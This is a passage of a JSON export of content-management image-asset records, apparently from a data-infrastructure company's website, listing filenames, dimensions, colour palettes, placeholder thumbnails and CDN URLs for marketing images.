kground":"#5c3130","foreground":"#fff","population":3.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#073a74","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2584b3","foreground":"#fff","population":6.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19d8a","foreground":"#000","population":5.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e27780","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87c55","foreground":"#fff","population":0.95,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2584b3","foreground":"#fff","population":6.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"supermetrics-customer-img.jpg","path":"images/sczeoy4w/production/1142e2ede9143bf3554dbc916518409ae7a52eed-1920x1037.jpg","sha1hash":"1142e2ede9143bf3554dbc916518409ae7a52eed","size":975258,"uploadId":"kk0PKmAPM3r5U7mo3SedazQaxOvI62dZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/1142e2ede9143bf3554dbc916518409ae7a52eed-1920x1037.jpg"} {"_createdAt":"2023-11-07T10:14:49Z","_id":"image-11822bceccb6f1829e5407b8e566b807e9b404b3-1200x628-jpg","_rev":"URGvS4Je6KJVSLklvAfv4l","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T10:14:49Z","assetId":"11822bceccb6f1829e5407b8e566b807e9b404b3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M55rD[?MV;IAM_?d%fRiM|WFoboMadogoa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMCBAf/xAAhEAACAgEEAgMAAAAAAAAAAAABAgADBBESITIFEzFBQv/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABkRAQACAwAAAAAAAAAAAAAAAAACAxESYf/aAAwDAQACEQMRAD8Axbx+fgpRWluDudRoWH3FX3i1tyoqD40UaROIT615/Jka+81VIklgBD2HMIqzuYRO3E4f/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2b63","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6d","foreground":"#fff","population":15.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6d","foreground":"#fff","population":15.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9a9dc4","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aeb5d8","foreground":"#000","population":0.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e729b","foreground":"#fff","population":1.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ba4748","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aws-reinvent-challenge_meta-preview.jpg","path":"images/sczeoy4w/production/11822bceccb6f1829e5407b8e566b807e9b404b3-1200x628.jpg","sha1hash":"11822bceccb6f1829e5407b8e566b807e9b404b3","size":31269,"uploadId":"sFeTY987dJCMStSvHuK6DnqMq1jgwqeZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/11822bceccb6f1829e5407b8e566b807e9b404b3-1200x628.jpg"} {"_createdAt":"2022-09-01T15:45:02Z","_id":"image-11a0b7ce7017cbfd34b525101b3d45ecd3d84014-2708x1771-png","_rev":"oP937kX6v07bcvrIPPfTPQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T10:47:56Z","altText":"Open source Apache Kafka® ecosystem","assetId":"11a0b7ce7017cbfd34b525101b3d45ecd3d84014","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VnOMHaE1s8S3R4~WxuRjbHsoDhXSo#t7o},.n$o}kDof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5290796160361377,"height":1771,"width":2708},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADyklEQVQ4jR3MW2gcVRyA8X8uBrWkiNSaBtSIKKXE7qZpEm0E8UEKBuqFCoJWEPGlvtQaCtaXKMZakBbzYKnSKlWkLU1MgiSxFps1xChJmzTd3Vx2Z2dmZ+bMOTNz5sx1Z3Z22yP1e/m9fRAXl16vrs0NxqXlN10s99hI6vENJR3pG+3x75+33Jn+tKVenH24Jv2zoy5kHqqPfXhf+Pf5Byp6ocMjyh4byb2BqXbHhvBkdf7MgxBL+fcj4fa3VJXOlXXzZwFZ4wVsXygQ+m5ZVx7hPmlLmHIwoeLRmksG7obmNkUpdyBifWQR46KpahOE0Es28wYjtP4UVNRiypULb4mS8kNewlpWofVbmk1Wdfsb7PjP1eN4fzVgJ6ue+VNS8YfqSfISIvRlUTUu65ruYllJFMXwieWOVajWB5zmGtVi7rGCIH5RKiOCqMeJHznECX5hsjUYIDYSWu5oSNhYxfIuB4idZjI6jhXpqq5qMVExt8qo7mAyHVGtH+ZjDmhz5VFJVoYQwnroMX6nFttxEE3SvHbGXkdX3JLxB8ujWVcgM3YejTob5e+YJmZ0XasY2OIhwknVJFMxVffBMOeAxY02UTWHVA3j0Eb8btVjSVy9aEvGYbuEj9gFfMG6VZ5lRfy9LeAjVMaD1DKvEWpGum3ywHdr9agylTC9H25UOVBxrc1Q9M9MpBOPER7FgRtXk7N+GO32HC/FSuRrmlX/dCVjKPCDXZi6L2Lbm9QYjSWbcFYJarVabSpxSD+oOQ5OfnG7m187Tgvrkk7kGnYZtrzwFPPDxyPf73BK5Es7p15zReNYtRLs0JygW3XCcYX5sWQyjlmQVOJkquYZ+0CJObiLM1u926uv0s38WQ2J4xo1fsSWfcjSy9tiSp5wBP1jO1s+7wrog6qN2jA2+pDBJlTLiSXD5Zrp1XzHn0pMtR84AIQzJ5qDzZvbPa3U6ZhqD7NQiuliu79wriUS/m11BLHTXhNfcAvCM5E8t4VlV/vMfP5XRRaiokF4GZlVR5B+q2SXnoeRgXaQDgLwDADnS8D5MvC5/cAPAPA3ANiJpwFnhxtINNqgTh9tMBbebvCWFnbSlRvDqpDPFIi2KCtojmbzX/nzM7sglUo1prv2NO/t7m3avfPZBrgX53Ca8/8Nxg8D5xJwzoHz6+C/B+AtX29lhVza0MRXkIFeIzoaYMWNLn/u0tZ7w/vTqVRrVzq9pa93b9PI8CfAeQC5KyehfqoTgoljYK1cBWM1A5ZwE/ghgHjyACT0r0buyk3cLDbzsNjEudRQz7wD/wF8XP6T9Wtm6wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#28545d","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e6896","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2cb9b","foreground":"#000","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2cb9b","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef6dc4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a9a63","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcdf54","foreground":"#000","population":0.02,"title":"#000"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"open-source-apache-kafka-ecosystem.png","path":"images/sczeoy4w/production/11a0b7ce7017cbfd34b525101b3d45ecd3d84014-2708x1771.png","sha1hash":"11a0b7ce7017cbfd34b525101b3d45ecd3d84014","size":161872,"title":null,"uploadId":"DG4C0I92rwiSnXncyL4q5Q4LSkEsbShP","url":"https://cdn.sanity.io/images/sczeoy4w/production/11a0b7ce7017cbfd34b525101b3d45ecd3d84014-2708x1771.png"} {"_createdAt":"2022-06-15T20:01:43Z","_id":"image-11db5f3425cb7a51a476e5a8c9ade5463c9f7d77-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhYYQ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:21Z","assetId":"11db5f3425cb7a51a476e5a8c9ade5463c9f7d77","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMSYs$+XU]QlrByEyEb_bwpJ?wOGShx^XU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVQokWWSz07UUBTG+wiuDIkLd25N2Ji48Cl8ARNfwDdwwROY8BAGEgFFSCSGYAaTgc6MRiqOQ9tLSwc7086lvbe9f84513TAlb98i29xvs33Hc85JEKQsZ3tY/XNYeMIHVlH4Bw5R2QqbKdOV9Q0VtRSCCml1pqIPEdIBKAXtg5R5Y4sgUR1RaboPCGohRUJ1jOYZnUcpVHEGCuK0lrrYX2JzTXqCq0iBOccGG6qc2gSQk2ERktZlw0vmmnGL1kSxzFj83nRhfVozQTr9uoTysyhcc4hKNsuVMOlFEIIznmWZYyxyzhOGIuiKAzDPM+NMZ7efqR3V1XvhUl2SXNHHdZCUZSTyeT3eByGF8HZD9/3/cFgMBye+v5oNErTVGvt2a178t1DfvBcTDawmTpbk+W2zfMs+Pn9MBgdhOdHv86+DvyTfr9/smQ4HP4L76wUO0/T3hpPel1nIoTqzPJT+edzyd4X0QZnb8vsS5pchNEdjLGyXBYGWw+q7dX50SsRfTB8bOrYVGNTBZqPmqIvZ8dy1lPVpJWVWHZQ17WUQmuNiB5s3tebK+3eMxWsQ83QCNAlqNzqhVZ8qRuwLSISEd5hERoy3DMfH6u9J+3xS5Puk77pttVzbFMCSY5u1b0KkVvSOTSgZlCPPf39dRu8UdkhNHOHQASoObTXBO3t9f90a+iFEclf+UtWi/EyeJkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404040","foreground":"#fff","population":2.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a88036","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a90b","foreground":"#000","population":3.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e0d3b7","foreground":"#000","population":1.99,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd47b","foreground":"#000","population":3.58,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#948686","foreground":"#fff","population":0.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9a90b","foreground":"#000","population":3.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"11db5f3425cb7a51a476e5a8c9ade5463c9f7d77-752x405.png","path":"images/sczeoy4w/production/11db5f3425cb7a51a476e5a8c9ade5463c9f7d77-752x405.png","sha1hash":"11db5f3425cb7a51a476e5a8c9ade5463c9f7d77","size":54596,"uploadId":"7NWJFLi6FR7qK5E9V1gEzPUMDuVntKrM","url":"https://cdn.sanity.io/images/sczeoy4w/production/11db5f3425cb7a51a476e5a8c9ade5463c9f7d77-752x405.png"} {"_createdAt":"2023-07-18T09:24:07Z","_id":"image-11ea666cf78c3cf112e61d66f07895ed5fb6fcd1-1280x720-jpg","_rev":"kufTPXDfauM8WA9ggOaKqH","_type":"sanity.imageAsset","_updatedAt":"2023-07-18T09:24:07Z","assetId":"11ea666cf78c3cf112e61d66f07895ed5fb6fcd1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57L1w-cIT%0r;%%RjW9WYNK9GRkxBIWM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQCBgf/xAAiEAACAgIBAwUAAAAAAAAAAAABAwACBBEhEhMUIjFBUYH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwb/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQIDEUH/2gAMAwEAAhEDEQA/AMmX2MfBSbYyrXNN7Noy0U8RD74mP22c10zn9lex2W6KjY1r6kgSWcn5mjqTASG8myWtNqKCh7dIMIpY+owitS4Tw//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36416c","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042474","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c2c5d7","foreground":"#000","population":7.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2c5d7","foreground":"#000","population":7.99,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#849cc4","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a779a","foreground":"#fff","population":3.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b3386","foreground":"#fff","population":4.42,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"TalonOne_long_thumbnail (3).jpg","path":"images/sczeoy4w/production/11ea666cf78c3cf112e61d66f07895ed5fb6fcd1-1280x720.jpg","sha1hash":"11ea666cf78c3cf112e61d66f07895ed5fb6fcd1","size":367307,"uploadId":"6GwJeCGmu4xzjDUedCcdtKhAKKYwV5IX","url":"https://cdn.sanity.io/images/sczeoy4w/production/11ea666cf78c3cf112e61d66f07895ed5fb6fcd1-1280x720.jpg"} {"_createdAt":"2024-02-21T12:16:17Z","_id":"image-11ec6c02c62018b0928c7e3f23ee172e79a8eea3-730x260-png","_rev":"AhQsd13Ciq0lSu1FlcSiRv","_type":"sanity.imageAsset","_updatedAt":"2024-02-21T12:16:17Z","assetId":"11ec6c02c62018b0928c7e3f23ee172e79a8eea3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DO8hRov_?w%NaH%$nfx^t7ad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8076923076923075,"height":260,"width":730},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACHElEQVQokWOoq2t0nzhtVlJn78SYyooqncLMTDZ7I0OGrStXM6ADj23/GbTLtjMoFm4S1ancmWHWuP+0fcfRl849J1a59J5ydOo+wcrQ1tYxYfqcBQd7J0w+UFNdm1tZUibmY2vDICoiwsTAwMAMxSyMrJxsLAwMzLyhfcxSOessLBt3LU+bd+Zd1Zprv9MXXrrjPfF0tW3ncQmGSVOn989euPRRz6Sp76vrGnvKKqrlFsyez8DJycXGwMDAw8DAwMvAwMDPwMwqyMjAwMEb1MkulLYy0Lxu2+maVRf+zTt0/3/R8stf3XqOLbBsOaTJMH3ugqiJM2Zvb+7sOVVWU59bWFYlMn/FOgZeXj4WBgYGDgYGBk4GBgYuBmY2bgYGBlbu0AksXAlLHOVyVm9z79jzNWHmsX/urds/6mTPW6AS3qTD0Nk/WbW5ozuiur4pqaisUj8rr5CtuKKaQUdXDzUAOQUYOMRVGJTdkhg5oubIcscvzBXPWLFdOX/tafn4SbtErGPquSRUtBmcXVxEQkLDpMPCwmW8PL0ELCwsmD2cHTEihIeHl8HcN57B1FCXVd3Gl1/Ev05DMHKSn1jMlFhxj7xgISV9exEREQUGIyMjRUNDQ3lDQ0M5Q0NDcSMjI/akmHAGPj4+Bm5ukC8ZGBQUFBicHB0ZDA0NGY2MjLmNjIzEjYxNpAzMbWX0LR0UDYzNlPUNDBQNDA2lAd9RoooGypFYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064c84","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9c8cf","foreground":"#000","population":0.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9c8cf","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5cb4f4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c84d4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-migrate-elephantsql-aiven-for-postgresql.png","path":"images/sczeoy4w/production/11ec6c02c62018b0928c7e3f23ee172e79a8eea3-730x260.png","sha1hash":"11ec6c02c62018b0928c7e3f23ee172e79a8eea3","size":18411,"uploadId":"VSenjnJDoTIIY3HMN1w5xOd0meaQMFQ6","url":"https://cdn.sanity.io/images/sczeoy4w/production/11ec6c02c62018b0928c7e3f23ee172e79a8eea3-730x260.png"} {"_createdAt":"2022-09-30T15:36:34Z","_id":"image-12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616-png","_rev":"XMqVxILwpPMz4xYxc8FKJs","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:26Z","assetId":"12c01d14b1ea88fe48ec636096f0b0c3d7eeb956","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBSF|ke-4.%LIp~XoIIoxtNH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.792207792207792,"height":616,"width":2336},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAtUlEQVQYlU3JSU7EMBCF4dz/MByBGyCWCHYtFi1wYjs1uFyD3a0wRC19+hfvLWvBreKORMRMLF09Yoz5Z84xb6c5bzFmJnu74sulLqlgqliRkRqysKio93/qw2KePGb38Znb8/v69HpdMlCqsNZ9rZCBsAl3PaiympiLx6kf9dL0svHHFy6ZMAF87zUBZCbUzqbN9Kf2iE1JO+nx/i5LQdhgLwDA3Ew13CJO+kDMUISkd3eNwx2DASBkQOsYCwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e656a","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b68a9","foreground":"#fff","population":0.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b68a9","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aacdc9","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85c8f8","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#167dc8","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616.png","path":"images/sczeoy4w/production/12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616.png","sha1hash":"12c01d14b1ea88fe48ec636096f0b0c3d7eeb956","size":25876,"uploadId":"XvwyH27RiIJAfjv2S7VNQmwmNyO2EkOF","url":"https://cdn.sanity.io/images/sczeoy4w/production/12c01d14b1ea88fe48ec636096f0b0c3d7eeb956-2336x616.png"} {"_createdAt":"2023-06-13T11:20:57Z","_id":"image-12c0b77c2bd91058ad005fe10789c116af49c795-140x17-svg","_rev":"FJE9FJz5NeK3Yo2P5LZaaN","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T11:20:57Z","assetId":"12c0b77c2bd91058ad005fe10789c116af49c795","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4009jvfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.235294117647058,"height":17,"width":140},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAWElEQVQImU3NMQqDUBRE0bMSV2CtNioaQUwTK3dgKSgGQlJk7fLhFRaXgbkDAwsK5KjRoYp+w4EdJ7744I0f/uHW2CbMeGLECyWy28EDfWRiiO0UJNegTVwvvgyluxhXNAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"hookdeck_logo _ black.svg","path":"images/sczeoy4w/production/12c0b77c2bd91058ad005fe10789c116af49c795-140x17.svg","sha1hash":"12c0b77c2bd91058ad005fe10789c116af49c795","size":7116,"uploadId":"m5i3d4MJOLuLGF3HvZPsxhM9evGIH9ha","url":"https://cdn.sanity.io/images/sczeoy4w/production/12c0b77c2bd91058ad005fe10789c116af49c795-140x17.svg"} {"_createdAt":"2023-05-26T07:20:35Z","_id":"image-12d269d038c92d5a1ed8ee100485a5f4a8831ded-1200x628-jpg","_rev":"3YxqQWUIXkU9Q9rCEfYGqW","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T07:20:35Z","assetId":"12d269d038c92d5a1ed8ee100485a5f4a8831ded","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHAlxA74=FNFEQ}@F{#lI:R,RRX3nkShxY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUDBAYH/8QAIxABAAEEAQIHAAAAAAAAAAAAAQIAAwQFERIxBhMhIjJRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEBv/EABsRAAMBAAMBAAAAAAAAAAAAAAECAwAEESFB/9oADAMBAAIRAxEAPwDjeLsNTDGtQvYyzI+56e9U5ZOLl7jHfKLOOTCXSeqc96XX/jb/ACo4KTEUfsrQMvanTqfRtD4u2dnL3d2evVxYhCCnHIUUgWijjFZTWY+DrLXkUq5dj6d//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363c57","foreground":"#fff","population":0.71,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":59.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":59.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b9d7","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9394c","foreground":"#fff","population":1.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626791","foreground":"#fff","population":0.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f69411","foreground":"#000","population":0.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"customer-spotlight-meta-image.jpg","path":"images/sczeoy4w/production/12d269d038c92d5a1ed8ee100485a5f4a8831ded-1200x628.jpg","sha1hash":"12d269d038c92d5a1ed8ee100485a5f4a8831ded","size":212941,"uploadId":"db58i0Wups28vPGX05Defdd9GTx8EyS0","url":"https://cdn.sanity.io/images/sczeoy4w/production/12d269d038c92d5a1ed8ee100485a5f4a8831ded-1200x628.jpg"} {"_createdAt":"2022-10-26T08:18:10Z","_id":"image-123a355a6cf4c229bc1034906701829ef731f925-2500x1308-jpg","_rev":"DqbZPlWf2gzTA6NYtQJPLb","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T08:18:41Z","altText":"The evolution of data analytics, with Apache Kafka","assetId":"123a355a6cf4c229bc1034906701829ef731f925","description":"From batch processing, through the near real-time, to full event stream processing, Apache Kafka's data mastery has benefits at every stage. Let's take a look at them.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIRAAAQMEAgMBAAAAAAAAAAAAAQIDBAAFESEGQRITMSL/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQP/xAAZEQADAQEBAAAAAAAAAAAAAAABAhEAAxL/2gAMAwEAAhEDEQA/AO9Jv6lyLswzCkJcig+K1D8uHHVLT3ILzM4yHU+TbwWUOltO0jo0/oA9juhsVA22gRdISMq3r7UfmzCejnz6KhpW6lw9+fIsEdy4pIkHO1fSOiaK2mBhpOKK0VYJcejh2LAS7//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414242","foreground":"#fff","population":3.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c2b12","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85f1e","foreground":"#fff","population":5.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bfa8","foreground":"#000","population":1.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd564","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6494a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85f1e","foreground":"#fff","population":5.31,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Streaming_data_analytics_in_the_real_world_Visuals_evolution.jpg","path":"images/sczeoy4w/production/123a355a6cf4c229bc1034906701829ef731f925-2500x1308.jpg","sha1hash":"123a355a6cf4c229bc1034906701829ef731f925","size":890042,"title":"The evolution of data analytics, with Apache Kafka","uploadId":"nfQ29AB0ywzeHznXJiWAPZQ6bUCVfTDK","url":"https://cdn.sanity.io/images/sczeoy4w/production/123a355a6cf4c229bc1034906701829ef731f925-2500x1308.jpg"} 